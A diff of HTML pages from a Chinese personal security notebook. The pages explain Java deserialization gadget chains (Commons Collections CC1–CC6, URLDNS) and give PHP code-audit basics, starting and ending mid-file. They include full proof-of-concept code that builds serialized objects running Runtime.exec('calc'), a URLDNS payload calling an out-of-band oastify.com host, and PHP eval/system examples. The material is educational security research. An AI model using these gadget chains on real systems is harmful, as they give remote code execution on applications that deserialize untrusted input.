Map<?,?> decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);
serialize(o1);
unserialize("ser.bin");
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}
+

CC1利用流程图​

+

image-20230220171022413

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC2/index.html b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC2/index.html new file mode 100644 index 0000000..55bcba7 --- /dev/null +++ b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC2/index.html @@ -0,0 +1,20 @@ + + + + + +Apache Commons Collections 2 | wjlin0 + + + + + + + +

Apache Commons Collections 2

+

利用链分析​

+

该链还是利用的CC1 中的 InvokerTransformer.transform() ,不同的是后续利用,和前面调用的方法不同,下面是CC2 的利用链

+
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
+

与CC3一致,使用了 TemplatesImpl的newTransformer方法。动态加载代码。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC3/index.html b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC3/index.html new file mode 100644 index 0000000..2e1e438 --- /dev/null +++ b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC3/index.html @@ -0,0 +1,30 @@ + + + + + +Apache Commons Collections 3 | wjlin0 + + + + + + + +

Apache Commons Collections 3

+

利用链分析​

+

与cc1不同的是利用了InstantiateTransformer与 TemplatesImpl 类的动态加载

+

在 TemplatesImpl.defineTransletClasses()完成了类的动态加载,

+

image-20230220164450032

+

可以看到defineTransletClasses 有三处调用 ,且只有一处的调用处,是被其他的调用的 getTransletInstance

+

image-20230220164821911

+

而newTransformer 只有 TrAXFilter 这个类的构造函数中满足条件

+

image-20230220165015377

+

结合InstantiateTransformer 就可成功调用链。

+

image-20230220165103295

+

完整的POC

+
package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;

public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[]code = Files.readAllBytes(Paths.get("C:\\Users\\wjl\\Desktop\\CC\\target\\classes\\org\\example\\Test.class"));
byte[][]codes = {code};
bytecodes.set(templates,codes);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map<?,?> decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass1.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);
serialize(o1);
unserialize("ser.bin");

}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}
}
+

CC3利用流程图​

+

image-20230220171002143

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC6/index.html b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC6/index.html new file mode 100644 index 0000000..bd4be59 --- /dev/null +++ b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC6/index.html @@ -0,0 +1,42 @@ + + + + + +Apache Commons Collections 6 | wjlin0 + + + + + + + +

Apache Commons Collections 6

+
+

[!Tip]

+

这条链是利用的Map中的链,所以不限制jdk版

+
+

利用链分析​

+

与CC1的入口一致,都是LazyMap.get(),CC6是由 TiedMapEntry类中的getValue方法,其中的map、key都是可以控制的

+

image-20230221105532474

+

而在 TiedMapEntry类中,可以找到 hashCode 中调用了 getValue ,而我们知道URLDNS这条链也是利用的hashCode ,所以就可以成功利用这条链

+

image-20230221110043135

+

注:这里存在两个问题

+
    +
  1. 在这条链中要想map中添加元素也会触发hash
  2. +
+

image-20230221110644953

+

为了避免这个问题,可以将Transformer 随意取值,不让后续链触发。

+
Map lazy = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
+
    +
  1. 序列化之后,会在map中生存一个key,导致后续无法进入这个if语句中
  2. +
+

image-20230221111046190

+

所以在成功put之后,要删除添加的key

+
map.put(tiedMap,"aaa");
lazy.remove("cccc");
+

完整POC

+
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazy = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
TiedMapEntry tiedMap = new TiedMapEntry(lazy,"cccc");
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMap,"aaa");
lazy.remove("cccc");
Class<? extends Map> aClass = lazy.getClass();
Field factory = aClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazy,chainedTransformer);
serialize(map);
unserialize("ser.bin");
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}

}
+

CC6利用流程图​

+

image-20230310112404524

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/index.html b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/index.html new file mode 100644 index 0000000..7d67ad0 --- /dev/null +++ b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/index.html @@ -0,0 +1,70 @@ + + + + + +Apache Commons Collections 反序列化利用 | wjlin0 + + + + + + + +

Apache Commons Collections 反序列化利用

+

包和简介​

+

背景介绍​

+

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

+

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

+

包结构介绍​

+
+

注意:Commons Collections的最新版是4.1,但由于工作中大多还是3.x的版本,这里就以3.x中的最后一个版本3.2.2作使用介绍。

+
+

以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档。

+
    +
  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • +
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • +
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • +
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • +
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • +
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • +
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • +
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • +
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • +
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • +
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • +
  • org.apache.commons.collections.set – 实现Set系列接口的一组类
  • +
+

前置知识​

+

1.mvn依赖​

+
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
+

2.手打POC​

+
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc01 {
public static void main(String[] args) throws Exception {
// 反射调用 Runtime.exec("calc");
// Class r = Runtime.class;
// Method getRuntime = r.getMethod("getRuntime", null);
// Object runtime = getRuntime.invoke(null, null);
// Method exec = r.getMethod("exec", new Class[]{String.class});
// Object calc = exec.invoke(runtime, new Object[]{"calc"});

// 构造 可序列化的 Transformer 类型的 Runtime.exec("calc");
Transformer[] transformer_ = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};


ChainedTransformer chainedTransformer = new ChainedTransformer(transformer_);

// 构造TransformedMap
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","value"); // 将值设置成value,进入条件 限制
// 添加装甲 将map 转化成 TransformedMap
Map<?,?> decorateMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);

// 生成对象 sun.reflect.annotation.AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandler = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");

}


// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
}
+

3.Transformer​

+

Transformer是Commons Collections中提供的一个接口类,只有一个待实现的transform方法。

+
public interface Transformer {

/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);

}
+

4.InvokerTransformer​

+

InvokerTransformer 是 Transformer接口的可序列化的实现类,在构造方法中有三个参数

+
    +
  • 第⼀个参数是待执⾏的⽅法名
  • +
  • 第⼆个参数是这个函数的参数列表的参数类型
  • +
  • 第三个参数是传给这个函数的参数列表
  • +
+

里面还提供了一个transform的方法,该方法可以通过Java反射机制来进行执行任意代码。

+
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

+

5.ChainedTransformer​

+

ChainedTransformer是 Transformer接口的可序列化的实现类,该类的transform方法为可循环调用iTransformers中每一个值,将它transform的返回值作为下一个的传入值

+
    /**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
+

6.ConstantTransformer​

+

ConstantTransformer是接口Transformer的实现类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回,其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

+
    /**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

+

7.Map​

+

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

+

TransformedMap​

+

TransformedMap这个类是用来对Map进行某些变换(修饰)用的,例如当我们修改Map中的某个值时,就会触发我们预先定义好的某些操作来对Map进行处理(回调)。

+

通过**decorate函数**就可以将一个普通的Map转换为一个TransformedMap。第二个参数和第三个参数分别对应当key改变和value改变时对应transform函数需要做的操作;

+

Map.Entry​

+

Map.Entry是Map的一个内部接口。

+

Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey()、getValue()方法。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/Java/ysoserial利用链/URLDNS/index.html b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/URLDNS/index.html new file mode 100644 index 0000000..c002dc7 --- /dev/null +++ b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/URLDNS/index.html @@ -0,0 +1,53 @@ + + + + + +URLDNS | wjlin0 + + + + + + + +

URLDNS

+
+

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

+
    +
  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • +
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • +
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用
  • +
+
+

利用链​

+
 *     HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
* handler.hashCode()
+

原理​

+

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

+

image-20221118003718726

+

分析​

+

在hashMap的readObject方法中最后调用了,putVal(),他计算了一下hash(key)

+

image-20221118005145146

+

在hash方法中直接会调用key的hashCode方法,这里的key就是我们传入的hashMap的键(URL类)

+

image-20221118005311542

+

就直接会调用到URL类的hashCode()

+

image-20221118005348414

+

这里有个tips,在hashMap用put写入键值是,也会触发putVal方法,即也会走到这一步,为了与后面的DNS请求不冲突,这里可以有两种方法处理

+

1.在序列化之前将hashCode的值设置为其他值,最后在put完成后将hashCode值改会 -1

+

2.或者直接将handler成员的对象的 openConnection getHostAddress方法的返回值为null 即可(参考 ysoserial)。那么即使在调用handlder的getHostAddress 也不会触发。

+
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
+

这里原生的handler成员为URLStreamHandler 类的实例对象,调用URLStreamHandler 的hashCode就会触发DNS请求

+

image-20221118010558799

+

完整POC​

+
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void serializeble(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static Object unserializeble(String filename) throws IOException,ClassNotFoundException {
ObjectInputStream oos = new ObjectInputStream(new FileInputStream(filename));
return oos.readObject();
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://96dcnltlo7dpe8sxm2aw7nwe359wxold.oastify.com");
Class<? extends URL> uclass = url.getClass();
Field hashCode = uclass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1234);
hashMap.put(url,1);
hashCode.set(url,-1);
serializeble(hashMap);
Object oos = unserializeble("ser.txt");
}

}
+

跟点调试​

+

进入hashMap的readObject()

+

image-20221118011454702

+

执行URL的hashCode()

+

image-20221118011539551

+

hashCode属性值为-1,调用handler的hashCode()

+

image-20221118011650083

+

最后调用getHostAddress(),方法执行DNS请求

+

image-20221118012143052

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/Java/基础审计/JAVA反序列化漏洞/index.html b/en/docs/个人知识库/代码审计/Java/基础审计/JAVA反序列化漏洞/index.html new file mode 100644 index 0000000..939b7e1 --- /dev/null +++ b/en/docs/个人知识库/代码审计/Java/基础审计/JAVA反序列化漏洞/index.html @@ -0,0 +1,76 @@ + + + + + +JAVA反序列化漏洞 | wjlin0 + + + + + + + +

JAVA反序列化漏洞

+

概述​

+

Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象。整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。

+
    +
  • +

    1.序列化是指把一个Java对象变成二进制内容,本质上就是一个byte[]数组。

    +
  • +
  • +

    2.为什么要把Java对象序列化呢?因为序列化后可以把byte[]保存到文件中,或者把byte[]通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。

    +
  • +
  • +

    将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,即把一个二进制内容(也就是byte[]数组)变回Java对象。有了反序列化,保存到文件中的byte[]数组又可以“变回”Java对象,或者从网络上读取byte[]并把它“变回”Java对象。也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象。

    +
  • +
  • +

    整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。

    +
  • +
  • +

    Java的序列化机制仅适用于Java,如果需要与其它语言交换数据,必须使用通用的序列化方法,例如JSON。

    +
  • +
+

成因​

+

暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码

+

两个或多个看似安全的模块在同一运行环境下,共同产生的安全问题

+

实现序列化与反序列化​

+

FileOutputStream

+
+

new FileOutputStream 的时候,如果目标文件不存在,那么会先创建目标文件,然后再写入。(如果目标文件所在的文件夹不存在,则抛出异常)

+

new FileOutputStream(file) 如果目标文件已经存在,那么会先清空 目标文件的数据,然后再写入新的数据.

+

写入数据的时候如果需要以追加的形式写入,那么需要使用new FileOutputStream(file,true) 这个构造函数。

+
+

FileInputStream

+
+

java.io包的FileOutputStream类可用于将数据(以字节为单位)写入文件。

+
+

ObjectOutputStream

+
+

基本上,ObjectOutputStream使用类名和对象值对Java对象进行编码。 并且,因此生成相应的流。 此过程称为序列化。

+

这些转换后的流可以存储在文件中,并且可以在网络之间传输。

+

注意:ObjectOutputStream类仅写入那些实现Serializable接口的对象。 这是因为对象在写入流时需要序列化

+
+

ObjectInputStream

+
+

ObjectInputStream主要用于读取ObjectOutputStream写入的数据。

+

基本上,ObjectOutputStream将Java对象转换为相应的流。 这称为序列化。 这些转换后的流可以存储在文件中,也可以通过网络传输。

+

现在,如果需要读取这些对象,则将使用ObjectInputStream,它将把流转换回相应的对象。这称为反序列化。

+
+
public class Ser {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String hello_ser = "hello ser";
ser(hello_ser);
unser();
}

public static void ser(Object o) throws IOException {
System.out.println("序列化开始");
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
objectOutputStream.close();
System.out.println("序列化结束");
}

public static void unser() throws IOException, ClassNotFoundException {
System.out.println("反序列化开始");
FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
String o = (String) objectInputStream.readObject();
System.out.println(o);
System.out.println("反序列化结束");
}

}

--------------------------------------
序列化开始
序列化结束
反序列化开始
hello ser
反序列化结束
--------------------------------------
+

序列化特征​

+

image-20221130224748718

+

中间那一栏是文件的十六进制显示,最右边是字符显示。这里需要注意的特征值就是16进制显示时的前32位:

+

AC ED:STREAM_MAGIC,声明使用了序列化协议,从这里可以判断保存的内容是否为序列化数据。 (这是在黑盒挖掘反序列化漏洞很重要的一个点)

+

00 05:STREAM_VERSION,序列化协议版本。

+

恶意攻击​

+
public class Person implements Serializable {
public String name;
public int age;

public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException {
ois.defaultReadObject();

Runtime.getRuntime().exec("calc");
}
}

public class Ser {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person wjlin0 = new Person("wjlin0", 22);
ser(wjlin0);
unser();
}

public static void ser(Object o) throws IOException {
System.out.println("序列化开始");
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
objectOutputStream.close();
System.out.println("序列化结束");
}

public static void unser() throws IOException, ClassNotFoundException {
System.out.println("反序列化开始");
FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Person o = (Person) objectInputStream.readObject();
System.out.println(o);
System.out.println("反序列化结束");
}

}

+

image-20221130230043565

+

如果程序员在重写readObject的时候调用了恶意的方法时,我们就可以调用反序列化的结果让它成功执行。例如图中的弹出计算器

+

攻击流程​

+

1.寻找反序列化入口readObject(),查看序列对象是否可控。

+

2.寻找危险方法存在位置。利用同名类方法等手段持续调用,最终到危险放上。

+

总结​

+

反序列化出现漏洞的原因,是程序员对序列化的接口暴露 ,并存在一些危险的类,可被序列化,最终导致 代码执行的情况。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/PHP/PHP代码审计/index.html b/en/docs/个人知识库/代码审计/PHP/PHP代码审计/index.html new file mode 100644 index 0000000..23c108f --- /dev/null +++ b/en/docs/个人知识库/代码审计/PHP/PHP代码审计/index.html @@ -0,0 +1,872 @@ + + + + + +PHP代码审计 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-08-19 16:48:43
+

PHP代码审计

+

序言​

+

PHP代码审计是指对PHP程序源代码进行系统性的检查,它的目的是为了发现PHP程序存在的一些漏洞或者逻辑问题,避免程序缺陷被非法利用从而带来不必要的安全风险.

+

工具准备​

+

PHPStorm​

+

PHPStorm 是 JetBrains 公司开发的一款商业的PHP集成开发工具,旨在提高用户效率,可深刻理解用户的编码,提供智能代码补全,快速导航以及即时错误检查

+ +

VScode​

+

Visual Studio Code 是一个轻量级但功能强大的源代码编辑器,可在桌面上运行,适用于 Windows、macOS 和 Linux。它内置了对 JavaScript、TypeScript 和 Node.js 的支持,并具有适用于其他语言和运行时(如 C++、C#、Java、Python、PHP、Go、.NET)的丰富扩展生态系统

+
    +
  • **优点:**免费 适配度高
  • +
  • **缺点:**环境配置麻烦
  • +
+

审计思路​

+

敏感函数方法回溯(反向审计)​

+

查找项目中的敏感函数方法 回溯传入的参数 判断用户是否可控 是否得到有效的过滤

+
    +
  • 缺点:很难发现越权等逻辑漏洞
  • +
+

用户可控参数追踪(正向审计)​

+

查找项目中的用户输入 追踪用户输入 判断是否得到有效的过滤/调用敏感函数/存在逻辑问题

+

关键业务功能分析(功能审计)​

+

专门审计易出现漏洞的关键功能点,如 头像上传 系统登陆 文件下载 等功能

+
    +
  • +

    **优点:**可以快速完成审计 减少审计面 可发现越权等逻辑漏洞

    +
  • +
  • +

    **缺点:**审计不完全,难以发现框架漏洞

    +
  • +
+

完全审计源代码​

+
    +
  • +

    **优点:**完全覆盖源代码 可发现一些特殊条件的漏洞

    +
  • +
  • +

    **缺点:**耗时长 容易遗漏

    +
  • +
+

基础知识​

+

前言​

+

本文章主要是PHP代码审计的一些基础知识,包括函数的用法,漏洞点,偏向基础部分,个人能力有限,部分可能会出现错误或者遗漏,读者可自行补充。

+

代码执行​

+

代码执行是代码审计当中较为严重的漏洞,主要是一些命令执行函数的不适当使用。那么,常见的能够触发这类漏洞的函数有哪些呢?

+

eval()​

+

想必大家对eval()函数应该并不陌生,简而言之eval()函数就是将传入的字符串当作 PHP 代码来进行执行。

+
eval( string $code) : mixed
+
返回值​
+

eval() 返回 NULL,除非在执行的代码中 return了一个值,函数返回传递给 return的值。PHP7开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误。

+

也就是说,我们在利用eval()函数的时候,如果我们传入的字符串不是正常的代码格式,那么就会抛出异常。所以PHP7和PHP5在这部分最大的不同是什么呢?简而言之,PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码。

+

示例:

+
<?php
$code = "echo 'This is a PHP7';";
eval($code);
?>

执行结果——>This is a PHP```


那么如果我要执行系统命令呢?这个时候就需要用到PHP中的`system`函数。

```php
<?php
$code = "system('whoami');";
eval($code);
?>

执行结果——>desktop-m61j5j6\admin
+

那么到此,我们就可以结合其他姿势通过这个函数实现任意代码执行了。

+

assert()​

+

PHP

+
assert( mixed $assertion[, string $description] ) : bool
+

PHP

+
assert( mixed $assertion[, Throwable $exception] ) : bool
+
参数​
+
    +
  • assertion
  • +
+

断言。在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。

+
    +
  • description
  • +
+

如果assertion失败了,选项description将会包含在失败信息里。

+
    +
  • exception
  • +
+

在PHP 7中,第二个参数可以是一个Throwable对象,而不是一个字符串,如果断言失败且启用了assert.exception,那么该对象将被抛出

+
assert()配置​
+ + + + + + + + + + + + + + + + + + + + +
配置项默认值可选值
zend.assertions11 - 生成和执行代码(开发模式) 0 - 生成代码,但在执行时跳过它 -1 - 不生成代码(生产环境)
assert.exception01 - 断言失败时抛出,可以抛出异常对象,如果没有提供异常,则抛出AssertionError对象实例 0 - 使用或生成Throwable,仅仅是基于对象生成的警告而不是抛出对象(与PHP 5 兼容)
+

所以搞了这么多,assert()函数到底是干什么的呢?用我的理解来说,assert()函数是处理异常的一种形式,相当于一个if条件语句的宏定义一样。

+

一个PHP 7 中的示例

+
<?php
assert_options(ASSERT_EXCEPTION, 1); // 设置在断言失败时产生异常
try {
assert(1 == 2, new AssertionError('因为1不等于2,所以前面断言失败,抛出异常')); // 用 AssertionError 异常替代普通字符串
} catch (Throwable $error) {
echo $error->getMessage();
}
?>


